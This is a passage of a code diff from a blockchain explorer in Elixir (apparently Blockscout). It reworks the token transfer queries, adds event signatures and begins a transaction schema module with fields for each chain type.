ExplorerHelper + alias Explorer.{PagingOptions, QueryHelper, Repo} @default_paging_options %PagingOptions{page_size: 50} + @typep paging_options :: {:paging_options, PagingOptions.t()} + @typep api? :: {:api?, true | false} + + @constant "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + @weth_deposit_signature "0xe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c" + @weth_withdrawal_signature "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65" + @erc1155_single_transfer_signature "0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62" + @erc1155_batch_transfer_signature "0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb" + @erc404_erc20_transfer_event "0xe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e031487" + @erc404_erc721_transfer_event "0xe5f815dc84b8cecdfd4beedfc3f91ab5be7af100eca4e8fb11552b867995394f" + + @transfer_function_signature "0xa9059cbb" + @typedoc """ * `:amount` - The token transferred amount * `:block_hash` - hash of the block @@ -43,96 +173,40 @@ defmodule Explorer.Chain.TokenTransfer do * `:to_address_hash` - Address hash foreign key * `:token_contract_address` - The `t:Explorer.Chain.Address.t/0` of the token's contract. * `:token_contract_address_hash` - Address hash foreign key - * `:token_id` - ID of the token (applicable to ERC-721 tokens) * `:transaction` - The `t:Explorer.Chain.Transaction.t/0` ledger * `:transaction_hash` - Transaction foreign key - * `:log_index` - Index of the corresponding `t:Explorer.Chain.Log.t/0` in the transaction. + * `:log_index` - Index of the corresponding `t:Explorer.Chain.Log.t/0` in the block. * `:amounts` - Tokens transferred amounts in case of batched transfer in ERC-1155 * `:token_ids` - IDs of the tokens (applicable to ERC-1155 tokens) + * `:token_id` - virtual field, ID of token, used to unnest ERC-1155 batch transfers + * `:index_in_batch` - Index of the token transfer in the ERC-1155 batch transfer + * `:reverse_index_in_batch` - Reverse index of the token transfer in the ERC-1155 batch transfer, last element index is 1 + * `:block_consensus` - Consensus of the block that the transfer took place """ - @type t :: %TokenTransfer{ - amount: Decimal.t() | nil, - block_number: non_neg_integer() | nil, - block_hash: Hash.Full.t(), - from_address: %Ecto.Association.NotLoaded{} | Address.t(), - from_address_hash: Hash.Address.t(), - to_address: %Ecto.Association.NotLoaded{} | Address.t(), - to_address_hash: Hash.Address.t(), - token_contract_address: %Ecto.Association.NotLoaded{} | Address.t(), - token_contract_address_hash: Hash.Address.t(), - token_id: non_neg_integer() | nil, - transaction: %Ecto.Association.NotLoaded{} | Transaction.t(), - transaction_hash: Hash.Full.t(), - log_index: non_neg_integer(), - amounts: [Decimal.t()] | nil, - token_ids: [non_neg_integer()] | nil - } - - @typep paging_options :: {:paging_options, PagingOptions.t()} + Explorer.Chain.TokenTransfer.Schema.generate() - @constant "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" - @erc1155_single_transfer_signature "0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62" - @erc1155_batch_transfer_signature "0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb" + @required_attrs ~w(block_number log_index from_address_hash to_address_hash token_contract_address_hash block_hash token_type)a + |> (&(case @chain_type do + :celo -> + &1 - @transfer_function_signature "0xa9059cbb" + _ -> + [:transaction_hash | &1] + end)).() + @optional_attrs ~w(amount amounts token_ids block_consensus)a + |> (&(case @chain_type do + :celo -> + [:transaction_hash | &1] - @primary_key false - schema "token_transfers" do - field(:amount, :decimal) - field(:block_number, :integer) - field(:log_index, :integer, primary_key: true) - field(:token_id, :decimal) - field(:amounts, {:array, :decimal}) - field(:token_ids, {:array, :decimal}) - - belongs_to(:from_address, Address, foreign_key: :from_address_hash, references: :hash, type: Hash.Address) - belongs_to(:to_address, Address, foreign_key: :to_address_hash, references: :hash, type: Hash.Address) - - belongs_to( - :token_contract_address, - Address, - foreign_key: :token_contract_address_hash, - references: :hash, - type: Hash.Address - ) - - belongs_to(:transaction, Transaction, - foreign_key: :transaction_hash, - primary_key: true, - references: :hash, - type: Hash.Full - ) - - belongs_to(:block, Block, - foreign_key: :block_hash, - primary_key: true, - references: :hash, - type: Hash.Full - ) - - has_one( - :instance, - Instance, - foreign_key: :token_contract_address_hash, - references: :token_contract_address_hash - ) - - has_one(:token, through: [:token_contract_address, :token]) - - timestamps() - end - - @required_attrs ~w(block_number log_index from_address_hash to_address_hash token_contract_address_hash transaction_hash block_hash)a - @optional_attrs ~w(amount token_id amounts token_ids)a + _ -> + &1 + end)).() @doc false def changeset(%TokenTransfer{} = struct, params \\ %{}) do struct |> cast(params, @required_attrs ++ @optional_attrs) |> validate_required(@required_attrs) - |> foreign_key_constraint(:from_address) - |> foreign_key_constraint(:to_address) - |> foreign_key_constraint(:token_contract_address) |> foreign_key_constraint(:transaction) end @@ -142,51 +216,155 @@ defmodule Explorer.Chain.TokenTransfer do """ def constant, do: @constant + def weth_deposit_signature, do: @weth_deposit_signature + + def weth_withdrawal_signature, do: @weth_withdrawal_signature + def erc1155_single_transfer_signature, do: @erc1155_single_transfer_signature def erc1155_batch_transfer_signature, do: @erc1155_batch_transfer_signature + def erc404_erc20_transfer_event, do: @erc404_erc20_transfer_event + + def erc404_erc721_transfer_event, do: @erc404_erc721_transfer_event + @doc """ ERC 20's transfer(address,uint256) function signature """ def transfer_function_signature, do: @transfer_function_signature - @spec fetch_token_transfers_from_token_hash(Hash.t(), [paging_options]) :: [] + @spec fetch_token_transfers_from_token_hash(Hash.t(), [paging_options | api?]) :: [] def fetch_token_transfers_from_token_hash(token_address_hash, options) do paging_options = Keyword.get(options, :paging_options, @default_paging_options) - query = - from( - tt in TokenTransfer, - where: tt.token_contract_address_hash == ^token_address_hash and not is_nil(tt.block_number), - preload: [{:transaction, :block}, :token, :from_address, :to_address], - order_by: [desc: tt.block_number] - ) - - query - |> page_token_transfer(paging_options) - |> limit(^paging_options.page_size) - |> Repo.all() + case paging_options do + %PagingOptions{key: {0, 0}} -> + [] + + _ -> + preloads = + DenormalizationHelper.extend_transaction_preload([ + :transaction, + [token: reputation_association()], + [from_address: [:scam_badge, :names, :smart_contract, Implementation.proxy_implementations_association()]], + [to_address: [:scam_badge, :names, :smart_contract, Implementation.proxy_implementations_association()]] + ]) + + only_consensus_transfers_query() + |> where([tt], tt.token_contract_address_hash == ^token_address_hash and not is_nil(tt.block_number)) + |> preload(^preloads) + |> order_by([tt], desc: tt.block_number, desc: tt.log_index) + |> page_token_transfer(paging_options) + |> limit(^paging_options.page_size) + |> Chain.select_repo(options).all() + end end - @spec fetch_token_transfers_from_token_hash_and_token_id(Hash.t(), binary(), [paging_options]) :: [] + @spec fetch_token_transfers_from_token_hash_and_token_id(Hash.t(), non_neg_integer(), [paging_options | api?]) :: [] def fetch_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id, options) do paging_options = Keyword.get(options, :paging_options, @default_paging_options) - query = - from( - tt in TokenTransfer, - where: tt.token_contract_address_hash == ^token_address_hash, - where: tt.token_id == ^token_id or fragment("? @> ARRAY[?::decimal]", tt.token_ids, ^Decimal.new(token_id)), - where: not is_nil(tt.block_number), - preload: [{:transaction, :block}, :token, :from_address, :to_address], - order_by: [desc: tt.block_number] - ) + case paging_options do + %PagingOptions{key: {0, 0}} -> + [] + + _ -> + preloads = + DenormalizationHelper.extend_transaction_preload([ + :transaction, + [token: reputation_association()], + [from_address: [:scam_badge, :names, :smart_contract, Implementation.proxy_implementations_association()]], + [to_address: [:scam_badge, :names, :smart_contract, Implementation.proxy_implementations_association()]] + ]) + + only_consensus_transfers_query() + |> where([tt], tt.token_contract_address_hash == ^token_address_hash) + |> where([tt], fragment("? @> ARRAY[?::decimal]", tt.token_ids, ^Decimal.new(token_id))) + |> where([tt], not is_nil(tt.block_number)) + |> preload(^preloads) + |> order_by([tt], desc: tt.block_number, desc: tt.log_index) + |> page_token_transfer(paging_options) + |> limit(^paging_options.page_size) + |> Chain.select_repo(options).all() + end + end - query - |> page_token_transfer(paging_options) - |> limit(^paging_options.page_size) - |> Repo.all() + @doc """ + Returns the ordered paginated list of consensus token transfers (consensus blocks only) from the DB with address, token, transaction preloads + """ + @spec fetch([paging_options | api?]) :: [] + def fetch(options) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + token_type = Keyword.get(options, :token_type) + + case paging_options do + %PagingOptions{key: {0, 0}} -> + [] + + _ -> + preloads = + DenormalizationHelper.extend_transaction_preload([ + :transaction, + [token: reputation_association()], + [from_address: [:scam_badge, :names, :smart_contract, Implementation.proxy_implementations_association()]], + [to_address: [:scam_badge, :names, :smart_contract, Implementation.proxy_implementations_association()]] + ]) + + only_consensus_transfers_query() + |> preload(^preloads) + |> order_by([tt], desc: tt.block_number, desc: tt.log_index) + |> maybe_filter_by_token_type(token_type) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> page_token_transfer(paging_options) + |> limit(^paging_options.page_size) + |> Chain.select_repo(options).all() + end + end + + @doc """ + Conditionally filters token transfers by token type based on denormalization status. + + This function applies token type filtering to the query using either the + denormalized `token_type` field or by joining with the tokens table, + depending on whether the token transfer denormalization process has been + completed. When denormalization is finished, it filters directly on + `tt.token_type`. Otherwise, it joins with the associated token and filters + on `token.type`. + + ## Parameters + - `query`: An Ecto query for token transfers + - `token_type`: Either a binary token type (e.g., "ERC-20") or a list of + token types to filter by + + ## Returns + - The modified query with token type filtering applied + - For empty token type lists, returns the original query unchanged + """ + @spec maybe_filter_by_token_type(Ecto.Query.t(), binary() | [binary()]) :: Ecto.Query.t() + def maybe_filter_by_token_type(query, token_type) when is_binary(token_type) do + if DenormalizationHelper.tt_denormalization_finished?() do + query + |> where([tt], tt.token_type == ^token_type) + else + query + |> join(:inner, [tt], token in assoc(tt, :token), as: :token) + |> where([tt, block, token], token.type == ^token_type) + end + end + + def maybe_filter_by_token_type(query, token_types) do + if Enum.empty?(token_types) do + query + else + if DenormalizationHelper.tt_denormalization_finished?() do + query + |> where([tt], tt.token_type in ^token_types) + else + query + |> join(:inner, [tt], token in assoc(tt, :token), as: :token) + |> where([tt, block, token], token.type in ^token_types) + end + end end @spec count_token_transfers_from_token_hash(Hash.t()) :: non_neg_integer() @@ -201,28 +379,28 @@ defmodule Explorer.Chain.TokenTransfer do Repo.one(query, timeout: :infinity) end - @spec count_token_transfers_from_token_hash_and_token_id(Hash.t(), binary()) :: non_neg_integer() - def count_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id) do + @spec count_token_transfers_from_token_hash_and_token_id(Hash.t(), non_neg_integer(), [api?]) :: non_neg_integer() + def count_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id, options) do query = from( tt in TokenTransfer, where: tt.token_contract_address_hash == ^token_address_hash and - (tt.token_id == ^token_id or fragment("? @> ARRAY[?::decimal]", tt.token_ids, ^Decimal.new(token_id))), + fragment("? @> ARRAY[?::decimal]", tt.token_ids, ^Decimal.new(token_id)), select: fragment("COUNT(*)") ) - Repo.one(query, timeout: :infinity) + Chain.select_repo(options).one(query, timeout: :infinity) end def page_token_transfer(query, %PagingOptions{key: nil}), do: query def page_token_transfer(query, %PagingOptions{key: {token_id}, asc_order: true}) do - where(query, [tt], tt.token_id > ^token_id) + where(query, [tt], fragment("?[1] > ?", tt.token_ids, ^token_id)) end def page_token_transfer(query, %PagingOptions{key: {token_id}}) do - where(query, [tt], tt.token_id < ^token_id) + where(query, [tt], fragment("?[1] < ?", tt.token_ids, ^token_id)) end def page_token_transfer(query, %PagingOptions{key: {block_number, log_index}, asc_order: true}) do @@ -233,6 +411,14 @@ defmodule Explorer.Chain.TokenTransfer do ) end + def page_token_transfer(query, %PagingOptions{key: {block_number, 0}}) do + where( + query, + [tt], + tt.block_number < ^block_number + ) + end + def page_token_transfer(query, %PagingOptions{key: {block_number, log_index}}) do where( query, @@ -241,38 +427,60 @@ defmodule Explorer.Chain.TokenTransfer do ) end + def handle_paging_options(query, nil), do: query + + def handle_paging_options(query, %PagingOptions{key: nil, page_size: nil}), do: query + + def handle_paging_options(query, paging_options) do + query + |> page_token_transfer(paging_options) + |> limit(^paging_options.page_size) + end + @doc """ Fetches the transaction hashes from token transfers according to the address hash. """ def where_any_address_fields_match(:to, address_hash, paging_options) do - query = - from( - tt in TokenTransfer, - where: tt.to_address_hash == ^address_hash, - select: type(tt.transaction_hash, :binary), - distinct: tt.transaction_hash - ) - - query - |> page_transaction_hashes_from_token_transfers(paging_options) - |> limit(^paging_options.page_size) - |> Repo.all() + case paging_options do + %PagingOptions{key: {0, _index}} -> + [] + + _ -> + query = + from( + tt in TokenTransfer, + where: tt.to_address_hash == ^address_hash, + select: type(tt.transaction_hash, :binary), + distinct: tt.transaction_hash + ) + + query + |> page_transaction_hashes_from_token_transfers(paging_options) + |> limit(^paging_options.page_size) + |> Repo.all() + end end def where_any_address_fields_match(:from, address_hash, paging_options) do - query = - from( - tt in TokenTransfer, - where: tt.from_address_hash == ^address_hash, - select: type(tt.transaction_hash, :binary), - distinct: tt.transaction_hash - ) - - query - |> page_transaction_hashes_from_token_transfers(paging_options) - |> limit(^paging_options.page_size) - |> Repo.all() + case paging_options do + %PagingOptions{key: {0, _index}} -> + [] + + _ -> + query = + from( + tt in TokenTransfer, + where: tt.from_address_hash == ^address_hash, + select: type(tt.transaction_hash, :binary), + distinct: tt.transaction_hash + ) + + query + |> page_transaction_hashes_from_token_transfers(paging_options) + |> limit(^paging_options.page_size) + |> Repo.all() + end end def where_any_address_fields_match(_, address_hash, paging_options) do @@ -282,17 +490,24 @@ defmodule Explorer.Chain.TokenTransfer do end defp transaction_hashes_from_token_transfers_sql(address_bytes, %PagingOptions{page_size: page_size} = paging_options) do - query = - from(token_transfer in TokenTransfer, - where: token_transfer.to_address_hash == ^address_bytes or token_transfer.from_address_hash == ^address_bytes, - select: type(token_transfer.transaction_hash, :binary), - distinct: token_transfer.transaction_hash, - limit: ^page_size - ) - - query - |> page_transaction_hashes_from_token_transfers(paging_options) - |> Repo.all() + case paging_options do + %PagingOptions{key: {0, _index}} -> + [] + + _ -> + query = + from(token_transfer in TokenTransfer, + where: + token_transfer.to_address_hash == ^address_bytes or token_transfer.from_address_hash == ^address_bytes, + select: type(token_transfer.transaction_hash, :binary), + distinct: token_transfer.transaction_hash, + limit: ^page_size + ) + + query + |> page_transaction_hashes_from_token_transfers(paging_options) + |> Repo.all() + end end defp page_transaction_hashes_from_token_transfers(query, %PagingOptions{key: nil}), do: query @@ -306,25 +521,257 @@ defmodule Explorer.Chain.TokenTransfer do end @doc """ - Innventory tab query. - A token ERC-721 is considered unique because it corresponds to the possession - of a specific asset. + Retrieves token transfers associated with a given address, optionally filtered + by direction and token types. + + ## Parameters + + - `address_hash` (`Hash.Address.t()`): The address hash for which to retrieve + token transfers. + - `direction` (`nil | :to | :from`): The direction of the transfers to filter. + - `:to` - transfers where `to_address` matches `address_hash`. + - `:from` - transfers where `from_address` matches `address_hash`. + - `nil` - includes both incoming and outgoing transfers. + - `token_address_hash` (`nil | Hash.Address.t()`): The token address hash to filter token transfers for. + - `token_types` (`[binary()]`): The token types to filter, e.g `["ERC20", "ERC721"]`. + - `paging_options` (`nil | Explorer.PagingOptions.t()`): Pagination options to + limit the result set. + + ## Returns + + An `Ecto.Query` for `TokenTransfer.t()`. + + ## Examples + + Fetch all incoming ERC20 token transfers for a specific address: + + # iex> query = token_transfers_by_address_hash(address_hash, :to, nil, ["ERC20"], paging_options) + # iex> Repo.all(query) + + Fetch both incoming and outgoing token transfers for a specific address + without pagination, token type filtering, and direction filtering: + + # iex> query = token_transfers_by_address_hash(address_hash, nil, nil, [], nil) + # iex> Repo.all(query) + + Fetch both incoming and outgoing token transfers for a specific address and specific token: + + # iex> query = token_transfers_by_address_hash(address_hash, nil, token_address_hash, [], nil) + # iex> Repo.all(query) + """ + @spec token_transfers_by_address_hash( + Hash.Address.t(), + nil | :to | :from, + nil | Hash.Address.t(), + [binary()], + nil | Explorer.PagingOptions.t(), + Keyword.t() + ) :: Ecto.Query.t() + def token_transfers_by_address_hash(address_hash, direction, token_address_hash, token_types, paging_options, options) do + if direction == :to || direction == :from do + only_consensus_transfers_query() + |> filter_by_direction(direction, address_hash) + |> filter_by_token_address_hash(token_address_hash) + |> order_by([tt], desc: tt.block_number, desc: tt.log_index) + |> join(:inner, [tt], token in assoc(tt, :token), as: :token) + |> preload([token: token], [{:token, token}]) + |> filter_by_type(token_types) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> handle_paging_options(paging_options) + else + to_address_hash_query = + only_consensus_transfers_query() + |> join(:inner, [tt], token in assoc(tt, :token), as: :token) + |> filter_by_direction(:to, address_hash) + |> filter_by_token_address_hash(token_address_hash) + |> filter_by_type(token_types) + |> order_by([tt], desc: tt.block_number, desc: tt.log_index) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> handle_paging_options(paging_options) + |> Chain.wrapped_union_subquery() + + from_address_hash_query = + only_consensus_transfers_query() + |> join(:inner, [tt], token in assoc(tt, :token), as: :token) + |> filter_by_direction(:from, address_hash) + |> filter_by_token_address_hash(token_address_hash) + |> filter_by_type(token_types) + |> order_by([tt], desc: tt.block_number, desc: tt.log_index) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> handle_paging_options(paging_options) + |> Chain.wrapped_union_subquery() + + to_address_hash_query + |> union(^from_address_hash_query) + |> Chain.wrapped_union_subquery() + |> order_by([tt], desc: tt.block_number, desc: tt.log_index) + |> handle_paging_options(paging_options) + end + end + + def filter_by_direction(query, :to, address_hash) do + query + |> where([tt], tt.to_address_hash == ^address_hash) + end + + def filter_by_direction(query, :from, address_hash) do + query + |> where([tt], tt.from_address_hash == ^address_hash) + end + + def filter_by_type(query, []), do: query + + def filter_by_type(query, token_types) when is_list(token_types) do + if DenormalizationHelper.tt_denormalization_finished?() do + where(query, [tt], tt.token_type in ^token_types) + else + where(query, [token: token], token.type in ^token_types) + end + end + + def filter_by_type(query, _), do: query + + def filter_by_token_address_hash(query, nil), do: query + + def filter_by_token_address_hash(query, token_address_hash) do + where(query, [tt], tt.token_contract_address_hash == ^token_address_hash) + end + + @doc """ + Returns ecto query to fetch consensus token transfers + """ + @spec only_consensus_transfers_query() :: Ecto.Query.t() + def only_consensus_transfers_query do + if DenormalizationHelper.tt_denormalization_finished?() do + from(token_transfer in __MODULE__, where: token_transfer.block_consensus == true) + else + from(token_transfer in __MODULE__, + inner_join: block in assoc(token_transfer, :block), + as: :block, + where: block.consensus == true + ) + end + end + + @doc """ + Returns a list of block numbers token transfer `t:Log.t/0`s that don't have an + associated `t:TokenTransfer.t/0` record. + """ + @spec uncataloged_token_transfer_block_numbers :: {:ok, [non_neg_integer()]} + def uncataloged_token_transfer_block_numbers do + query = + from(l in Log, + as: :log, + where: + l.first_topic == ^@constant or + l.first_topic == ^@erc1155_single_transfer_signature or + l.first_topic == ^@erc1155_batch_transfer_signature, + where: not exists(token_transfer_exists_query()), + select: l.block_number, + distinct: l.block_number + ) + + Repo.stream_reduce(query, [], &[&1 | &2]) + end + + # Builds a query to check if a token transfer exists for a given log. Handles + # chain-specific logic for transaction_hash comparison. + # + # For Celo epoch blocks, `transaction_hash` can be `nil` in both `Log` and + # `TokenTransfer`. A direct SQL comparison `NULL = NULL` evaluates to + # `UNKNOWN` (effectively false in this context). Therefore, we need a + # NULL-safe comparison for `transaction_hash`. Additionally, `block_hash` is + # included in the join condition to uniquely identify the token transfer, as + # `transaction_hash` (when nil) and `log_index` alone are insufficient. + @spec token_transfer_exists_query() :: Ecto.Query.t() + defp token_transfer_exists_query do + query = + from(tt in TokenTransfer, + where: tt.block_hash == parent_as(:log).block_hash, + where: tt.log_index == parent_as(:log).index + ) + + chain_type() + |> case do + :celo -> + query + |> where( + [tt], + tt.transaction_hash == parent_as(:log).transaction_hash or + (is_nil(parent_as(:log).transaction_hash) and is_nil(tt.transaction_hash)) + ) + + _ -> + query + |> where([tt], tt.transaction_hash == parent_as(:log).transaction_hash) + end + end + + @doc """ + Fetches token transfers from logs. + """ + @spec logs_to_token_transfers([Log.t()], Keyword.t()) :: [TokenTransfer.t()] + def logs_to_token_transfers(logs, options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + logs + |> logs_to_token_transfers_query() + |> limit(^Enum.count(logs)) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + end + + @doc """ + Builds a query to fetch token transfers by their composite IDs. - To find out its current owner, it is necessary to look at the token last - transfer. + ## Parameters + - `query`: The base query to build upon. Defaults to `__MODULE__`. + - `ids`: List of tuples containing {transaction_hash, block_hash, log_index}. + + ## Returns + A query that filters token transfers by the given composite IDs. """ - @spec address_to_unique_tokens(Hash.Address.t()) :: Ecto.Query.t() - def address_to_unique_tokens(contract_address_hash) do - from( - tt in TokenTransfer, - left_join: instance in Instance, - on: tt.token_contract_address_hash == instance.token_contract_address_hash and tt.token_id == instance.token_id, - where: tt.token_contract_address_hash == ^contract_address_hash, - where: tt.to_address_hash != ^"0x0000000000000000000000000000000000000000", - order_by: [desc: tt.block_number], - distinct: [desc: tt.token_id], - preload: [:to_address], - select: %{tt | instance: instance} + @spec by_ids_query(Ecto.Queryable.t(), [{Hash.t(), Hash.t(), non_neg_integer()}]) :: Ecto.Query.t() + def by_ids_query(query \\ __MODULE__, ids) do + formatted_ids = + Enum.map(ids, fn {transaction_hash, block_hash, log_index} -> + {transaction_hash.bytes, block_hash.bytes, log_index} + end) + + where( + query, + [tt], + ^QueryHelper.tuple_in([:transaction_hash, :block_hash, :log_index], formatted_ids) ) end + + defp logs_to_token_transfers_query(query \\ __MODULE__, logs) + + defp logs_to_token_transfers_query(query, [log | tail]) do + query + |> or_where( + [tt], + tt.transaction_hash == ^log.transaction_hash and tt.block_hash == ^log.block_hash and tt.log_index == ^log.index + ) + |> logs_to_token_transfers_query(tail) + end + + defp logs_to_token_transfers_query(query, []) do + query + end + + @doc """ + Checks if `WHITELISTED_WETH_CONTRACTS` env contains provided address hash. + WHITELISTED_WETH_CONTRACTS env is the list of whitelisted WETH contracts addresses. + """ + @spec whitelisted_weth_contract?(any()) :: boolean() + def whitelisted_weth_contract?(contract_address_hash) do + env = Application.get_env(:explorer, Explorer.Chain.TokenTransfer) + + if env[:weth_token_transfers_filtering_enabled] do + (contract_address_hash |> to_string() |> String.downcase()) in env[:whitelisted_weth_contracts] + else + true + end + end end diff --git a/apps/explorer/lib/explorer/chain/transaction.ex b/apps/explorer/lib/explorer/chain/transaction.ex index 88696c91c3aa..fa227232c07e 100644 --- a/apps/explorer/lib/explorer/chain/transaction.ex +++ b/apps/explorer/lib/explorer/chain/transaction.ex @@ -1,38 +1,365 @@ +defmodule Explorer.Chain.Transaction.Schema do + @moduledoc """ + Models transactions. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Transactions + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Explorer.Chain + + alias Explorer.Chain.{ + Address, + Beacon.BlobTransaction, + Block, + Data, + Hash, + InternalTransaction, + Log, + PendingTransactionOperation, + SignedAuthorization, + TokenTransfer, + TransactionAction, + Wei + } + + alias Explorer.Chain.Arbitrum.BatchBlock, as: ArbitrumBatchBlock + alias Explorer.Chain.Arbitrum.BatchTransaction, as: ArbitrumBatchTransaction + alias Explorer.Chain.Arbitrum.Message, as: ArbitrumMessage + alias Explorer.Chain.PolygonZkevm.BatchTransaction, as: ZkevmBatchTransaction + alias Explorer.Chain.Transaction.{Fork, Status} + alias Explorer.Chain.ZkSync.BatchTransaction, as: ZkSyncBatchTransaction + + @chain_type_fields (case @chain_type do + :ethereum -> + # elem(quote do ... end, 2) doesn't work with a single has_one instruction + quote do + [ + has_one(:beacon_blob_transaction, BlobTransaction, foreign_key: :hash, references: :hash) + ] + end + + :optimism -> + elem( + quote do + field(:l1_fee, Wei) + field(:l1_fee_scalar, :decimal) + field(:l1_gas_price, Wei) + field(:l1_gas_used, :decimal) + field(:l1_transaction_origin, Hash.Full) + field(:l1_block_number, :integer) + end, + 2 + ) + + :scroll -> + elem( + quote do + field(:l1_fee, Wei) + field(:queue_index, :integer) + end, + 2 + ) + + :suave -> + elem( + quote do + belongs_to( + :execution_node, + Address, + foreign_key: :execution_node_hash, + references: :hash, + type: Hash.Address + ) + + field(:wrapped_type, :integer) + field(:wrapped_nonce, :integer) + field(:wrapped_gas, :decimal) + field(:wrapped_gas_price, Wei) + field(:wrapped_max_priority_fee_per_gas, Wei) + field(:wrapped_max_fee_per_gas, Wei) + field(:wrapped_value, Wei) + field(:wrapped_input, Data) + field(:wrapped_v, :decimal) + field(:wrapped_r, :decimal) + field(:wrapped_s, :decimal) + field(:wrapped_hash, Hash.Full) + + belongs_to( + :wrapped_to_address, + Address, + foreign_key: :wrapped_to_address_hash, + references: :hash, + type: Hash.Address + ) + end, + 2 + ) + + :polygon_zkevm -> + elem( + quote do + has_one(:zkevm_batch_transaction, ZkevmBatchTransaction, + foreign_key: :hash, + references: :hash + ) + + has_one(:zkevm_batch, through: [:zkevm_batch_transaction, :batch], references: :hash) + + has_one(:zkevm_sequence_transaction, + through: [:zkevm_batch, :sequence_transaction], + references: :hash + ) + + has_one(:zkevm_verify_transaction, + through: [:zkevm_batch, :verify_transaction], + references: :hash + ) + end, + 2 + ) + + :zksync -> + elem( + quote do + has_one(:zksync_batch_transaction, ZkSyncBatchTransaction, + foreign_key: :transaction_hash, + references: :hash + ) + + has_one(:zksync_batch, through: [:zksync_batch_transaction, :batch]) + has_one(:zksync_commit_transaction, through: [:zksync_batch, :commit_transaction]) + has_one(:zksync_prove_transaction, through: [:zksync_batch, :prove_transaction]) + has_one(:zksync_execute_transaction, through: [:zksync_batch, :execute_transaction]) + end, + 2 + ) + + :celo -> + elem( + quote do + field(:gateway_fee, Wei) + + belongs_to(:gas_fee_recipient, Address, + foreign_key: :gas_fee_recipient_address_hash, + references: :hash, + type: Hash.Address + ) + + belongs_to(:gas_token_contract_address, Address, + foreign_key: :gas_token_contract_address_hash, + references: :hash, + type: Hash.Address + ) + + has_one(:gas_token, through: [:gas_token_contract_address, :token]) + end, + 2 + ) + + :arbitrum -> + elem( + quote do + field(:gas_used_for_l1, :decimal) + + has_one(:arbitrum_batch_transaction, ArbitrumBatchTransaction, + foreign_key: :transaction_hash, + references: :hash + ) + + has_one(:arbitrum_batch, through: [:arbitrum_batch_transaction, :batch]) + + has_one(:arbitrum_commitment_transaction, + through: [:arbitrum_batch, :commitment_transaction] + ) + + has_one(:arbitrum_batch_block, ArbitrumBatchBlock, + foreign_key: :block_number, + references: :block_number + ) + + has_one(:arbitrum_confirmation_transaction, + through: [:arbitrum_batch_block, :confirmation_transaction] + ) + + has_one(:arbitrum_message_to_l2, ArbitrumMessage, + foreign_key: :completion_transaction_hash, + references: :hash + ) + + has_one(:arbitrum_message_from_l2, ArbitrumMessage, + foreign_key: :originating_transaction_hash, + references: :hash + ) + end, + 2 + ) + + _ -> + [] + end) + + defmacro generate do + quote do + @primary_key false + typed_schema "transactions" do + field(:hash, Hash.Full, primary_key: true) + field(:block_number, :integer) + field(:block_consensus, :boolean) + field(:block_timestamp, :utc_datetime_usec) + field(:cumulative_gas_used, :decimal) + field(:earliest_processing_start, :utc_datetime_usec) + field(:error, :string) + field(:gas, :decimal) + field(:gas_price, Wei) + field(:gas_used, :decimal) + field(:index, :integer) + field(:created_contract_code_indexed_at, :utc_datetime_usec) + field(:input, Data) + field(:nonce, :integer) :: non_neg_integer() | nil + field(:r, :decimal) + field(:s, :decimal) + field(:status, Status) + field(:v, :decimal) + field(:value, Wei) + # TODO change to Data.t(), convert current hex-string values, prune all non-hex ones + field(:revert_reason, :string) + field(:max_priority_fee_per_gas, Wei) + field(:max_fee_per_gas, Wei) + field(:type, :integer) + field(:has_error_in_internal_transactions, :boolean) + field(:has_token_transfers, :boolean, virtual: true) + + # stability virtual fields + field(:transaction_fee_log, :any, virtual: true) + field(:transaction_fee_token, :any, virtual: true) + + # A transient field for deriving old block hash during transaction upserts. + # Used to force refetch of a block in case a transaction is re-collated + # in a different block. See: https://github.com/blockscout/blockscout/issues/1911 + field(:old_block_hash, Hash.Full) + + timestamps() + + belongs_to(:block, Block, foreign_key: :block_hash, references: :hash, type: Hash.Full) + has_many(:forks, Fork, foreign_key: :hash, references: :hash) + + belongs_to( + :from_address, + Address, + foreign_key: :from_address_hash, + references: :hash, + type: Hash.Address + ) + + has_many(:internal_transactions, InternalTransaction, foreign_key: :transaction_hash, references: :hash) + has_many(:logs, Log, foreign_key: :transaction_hash, references: :hash) + + has_many(:token_transfers, TokenTransfer, foreign_key: :transaction_hash, references: :hash) + + has_many(:transaction_actions, TransactionAction, + foreign_key: :hash, + preload_order: [asc: :log_index], + references: :hash + ) + + belongs_to( + :to_address, + Address, + foreign_key: :to_address_hash, + references: :hash, + type: Hash.Address + ) + + has_many(:uncles, through: [:forks, :uncle], references: :hash) + + belongs_to( + :created_contract_address, + Address, + foreign_key: :created_contract_address_hash, + references: :hash, + type: Hash.Address + ) + + has_many(:signed_authorizations, SignedAuthorization, + foreign_key: :transaction_hash, + references: :hash + ) + + has_one(:pending_operation, PendingTransactionOperation, foreign_key: :transaction_hash, references: :hash) + + unquote_splicing(@chain_type_fields) + end + end + end +end + defmodule Explorer.Chain.Transaction do @moduledoc "Models a Web3 transaction." use Explorer.Schema - require Logger + use Utils.CompileTimeEnvHelper, + chain_type: [:explorer, :chain_type], + decode_not_a_contract_calls: [:explorer, :decode_not_a_contract_calls] - import 